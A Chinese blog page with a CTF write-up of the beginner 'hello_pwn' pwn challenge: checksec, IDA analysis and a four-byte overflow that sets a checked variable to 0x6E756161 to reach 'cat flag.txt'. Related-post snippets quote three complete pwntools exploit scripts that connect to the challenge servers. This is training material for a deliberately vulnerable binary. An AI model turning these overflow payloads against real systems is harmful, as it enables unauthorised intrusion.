攻防世界 Pwn hello_pwn

最新推荐文章于 2024-06-30 15:13:02 发布
原创 最新推荐文章于 2024-06-30 15:13:02 发布 · 558 阅读 · 5 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#pwn

攻防世界 Pwn hello_pwn

在这里插入图片描述

文章目录

1.checksec走一下

在这里插入图片描述
可以看到只有 Partial RELRO
没有开启栈保护，是属于简单的栈溢出pwn题

2.先跑一下看看

在这里插入图片描述

## 3.拉进IDA看一下

在这里插入图片描述
sub_400686函数中调用系统函数直接获取flag
因此如果让60106c == 1853186401就可以获取到flag
看到危险函数read可以实现栈溢出，把601068填满后再覆盖60106c即可
在这里插入图片描述
偏移地址是4
然后打入p64（1853186401）

4.exp如下

##coding=utf8
fro
最低0.47元/天 解锁文章
【攻防世界pwn-hello_pwn】
a_silly_coder的博客
01-16 2083
下载文件后，首先检查保护： 将文件拖入64位ida，查看代码 基本逻辑是：读取一个输入，存入unk_601068，接着比较dword_60106C是否等于一个预期的值，如果相等，执行对应函数，函数内直接执行cat flag.txt 所以思路就是需要覆盖dword_60106C，让其等于预期值，此时我们需要在输入unk_601068时，对dword_60106C进行覆盖，接着我们查看这两个值的存放位置。 发现这两个值之间相隔4个字节，所以需要4个字节的填充数据，接着输入预期值。..
pwn学习（1）攻防世界-hello_pwn（大小端存储/ELF文件）
m0_66039322的博客
08-25 436
最后结果： cyberpeace{f178d34680e278da75e4b40e9921da97}查看读入数据和比较数据的位置，会发现问题，他们是挨着的，且相差4个字节，0000000000601068是开始位置，中间的数据随便填充即可。
攻防世界 - pwn - hello_pwn
qq726232111的博客
03-16 1083
A、程序分析 1、缓冲区地址为601068h 2、判断条件 --> 60106Ch为起始地址 ， 存储6E756161h 3、判断条件成立执行cat flag B、利用分析 1、601068h -60106Bh --> 4byte 填充数据 60106Ch - 60106Fh --> 4byte 判断条件 0x6E756161 ...
攻防世界-hello_pwn
qq_52333044的博客
06-22 338
第一种：通过先输入四给任意字符再输入"aaun" （为什么是aaun呢，因为小端序和大端序的问题，小端序低地址存低位，大端序就是低地址存高位，这里采用小端序）unk-601068和dword——60106C相差4 个字节，然后我们可以通过覆盖来改变dwod_60106c的赋值。发现当unk_601068等于nuaa时才能得到flag。习惯性的用ls没有什么用，然后查看是多少位。然后用64位IDA打开查看程序。用kali linux 打开。第二种：就直接写exp。
攻防世界PWN-hello_pwn
Deeeelete的博客
11-14 519
题目：hello_pwn 进pe查看程序 因为该题目比较简单，所以确认是64位程序，直接进IDA f5反编译main函数 单独摘出代码 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { alarm(0x3Cu); setbuf(stdout, 0LL); puts("~~ welcome to ctf ~~ "); puts("lets get helloworld for bof"); re
攻防世界hello pwn WP（pwn入门基础题）
m0_62584974的博客
11-21 2816
攻防世界hello pwn WP（pwn入门基础题）的简单讲解
初学pwn-攻防世界(hello_pwn)
天柱的博客
08-26 3706
初学pwn-writeUp 攻防世界的第二道题目，hello_pwn。 首先创建场景，使用nc进入远端，发现他只输出了一串字符串，没有别的内容，也无法使用ls查看它的文件。 下载场景提供的文件，使用cat查看，发现是ELF文件，按照大佬的流程，ELF文件直接用ida打开。 初次使用ida，深切的感受到了ida的强大。 打开之后，按F5，进行反编译，可以看到main函数的伪代码 可以从main函数中看到，这里存在一个判断，如果条件达成的话，会调用一个函数。点开函数看一下。 可以发现里边会输出flag.tx
攻防世界-PWN-hello_pwn
安全知识学习-该平台为唯一原作者平台，其他平台属冒名顶替，请勿相信上当受骗
09-24 684
开始进军PWN题 目录 分析 拖入IDA exp 分析 使用 file 和 checksec（查看程序的保护机制） 指令分析文件 x86-64 架构 Linux可执行文件ELF checksec参数 Arch 程序架构信息。这里是amd64-64的 RELRO 主要针对 GOT 改写的攻击方式的保护 RELRO为” Partial RELRO”，说明我们对GOT表具有写权限。 这里也没作保护 Stack 栈保护 这里没有启用 NX 栈没有执行权限 这里是打开的 PI.
攻防世界hello _pwn总结
RMC131的博客
11-13 4827
checksec 转自：checksec工具使用-pwn – 简书 (jianshu.com) 基本用法：checksec –file=hello_pwn Arch： 系统架构信息，判断是64位还是32位，选择相应的IDA和写相应的exp。 amd64-64-little说明为64位，选用64位的IDA，写64位的exp。 RELRO： Relocation Read-Only (RELRO)，此项技术针对GOT/GIFTO(区块链)改写的攻击方式。分为两种，Partial RELRO 和 Full RE
攻防世界：hello_pwn
2301_80216972的博客
04-09 796
pe分析知道是elf文件（elf文件是Linux下的可执行文件，可以在Linux直接运行）ida分析：下载后ida打开找到main函数，F5反编译。
攻防世界 hello_pwn
weixin_73399382的博客
06-30 641
然后从指针&unk_601068指定的缓冲区里面读取最多16位数据（0x10uLL解读：0x代表十六进制，uLL=unsigned long long,无符号long long 型，10转为十进制即为16）直接执行一下，这里看别人的wp是可以通过输入构造字符串来getshell的，我这里就不这么做了，多练写脚本的能力。国际惯例checksec一下，64位小端序，未开启栈溢出保护和地址随机化，很明显这道题利用栈溢出了。刚学pwn的小白，大家互相学习，看看哪里说得不对打在评论区！写脚本，下面两个略微差别。
[攻防世界]hello_pwn
逆向萌新的博客
06-20 394
[攻防世界]hello_pwn
攻防世界pwn刷题--hello_pwn
m0_74073577的博客
09-29 365
0x60106c-0x611068=4个字节，那么输入4个a就可以到达目标地址（python里b’a‘的长度是一个字节），再输入‘nuaa‘即可，需要注意的是checksec后是小端序，绝大部分题目都是小端序，所以数据高位应该在地址低位，即输入’aaun‘，总体的payload应该是aaaa+aaun，如果暂时无法理解这个亦可以使用pwntools工具，使用p64打包数据即可，这样的话payload应该是payload=b’a‘*4+p64(0x6E756161),这个0x6E。结果是‘nuaa’。
攻防世界-pwn-新手-hello_pwn
weixin_31610083的博客
10-16 324
【题目描述】 Pwn! Segment fault！菜鸡陷入了深思 【附件】 在线场景和文件 【过程及思路】 放到linux下，checksec一下，检查程序位数。 发现是64位的程序。 放进IDA，找到main函数，F5反编译得到下图。 第7行，程序读取从起始位置开始的10个长度，也就是说我们有10个长度的写入权限。 第8行，判断指定位置是否是某个值。 第9行，函数的功能是cat flag.txt，我们从这个条件入手，构造出程序要求的值。 进到值条件判断的位...
攻防世界_pwn_hello_pwn(萌新版)
TedLau的博客
02-24 629
首发于鄙人博客：传送门 0x00 前言 file checksec已省略。64位elf程序 0x10 步骤 0x11 main函数 在main函数中我们可以看到，它让我们输入unk_601068的值，而如果我们想getshell，那么我们便需要将dword_60106c的值赋为1853186401。 0x11 bss段观察 可以看到这两个数据的距离并不远，所以...
攻防世界pwn第二题-hello pwn（两种方法）
Greic的博客
11-28 3022
嘿嘿，我又回来了。看到上次自己发的博客，感觉图片的排版好差劲 这次我将！搞好一点（hhh），话不多说，开始。 至于前面的检查保护类型和看文件类型就不说了，有兴趣的小伙伴们可以看看pwn的第一题。有一说一，其实这道题已经有很大大佬发过write-up了，大佬们也写的很好，我在做题的过程中，也看过一些大佬们的write-up，但嘛，写一写，总是比没有好叭。 在检查完文件类型和保护机制后，我们很容易发现，就是一个很普通的64位的Linux件，且并没有什么保护类型。这个时候，我们先运行看看...
攻防世界base除4_攻防世界pwn新手训练
weixin_36310597的博客
12-24 683
小白刚开始接触pwn，做点新手训练了解一下pwn是干啥的。一开始啥漏洞都不知道，很多都是看别人的wp才知道要干嘛，比如才知道原来printf函数也是有漏洞的。 把这些题的思路和做法记录下来，不然我这鱼的记忆肯定过几天就又忘了get_shell题目描述：运行就能拿到shell呢，真的如题，nc连接，连接直接就是shell，直接cat flag就可以了。CGfsb题目描述：菜鸡面对着pringf发愁，...
攻防世界pwn题hello pwn答案
最新发布
09-24
攻防世界pwn题hello pwn有多份解题代码可作为答案参考： - 代码一： ```python from pwn import * # io = process("./hello_pwn") io = remote("111.200.241.244",65258) io.recvuntil("lets get helloworld for bof") #unk_601068与dword_60106C之间有4字节的空间，所以使用4个A填充 #随后使用预期数据1853186401覆盖dword_60106C payload = b'A' * 4 + p64(1853186401) io.sendline(payload) io.interactive() ``` 此代码中，先建立远程连接，等待特定提示信息，构造包含填充字符和预期数据的`payload`，发送`payload`后进入交互模式 [^2]。 - 代码二： ```python from pwn import * context(os='linux', arch="amd64", log_level="debug") os = remote('61.147.171.105',61286) os.recvuntil('lets get helloworld for bof\n') payload = b'a'*(0x6c-0x68) + p64(1853186401) os.sendline(payload) os.interactive() ``` 该代码先设置上下文信息，建立远程连接，等待特定提示信息，根据内存地址差值构造`payload`，发送`payload`后进入交互模式 [^3]。 - 代码三： ```python from pwn import* p = remote('61.147.171.105',53737) # 将字符串转换为字节对象 str_bytes = 'a'*4 # 构造payload payload = str_bytes.encode() + p64(1853186401) p.recvuntil("lets get helloworld for bof\n") p.sendline(payload) p.interactive() ``` 代码从`pwn`库导入所有功能，创建远程连接对象，构造包含4个`a`的字符串并转换为字节对象，与预期数据拼接成`payload`，等待特定提示信息后发送`payload`，最后进入交互模式 [^4]。
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值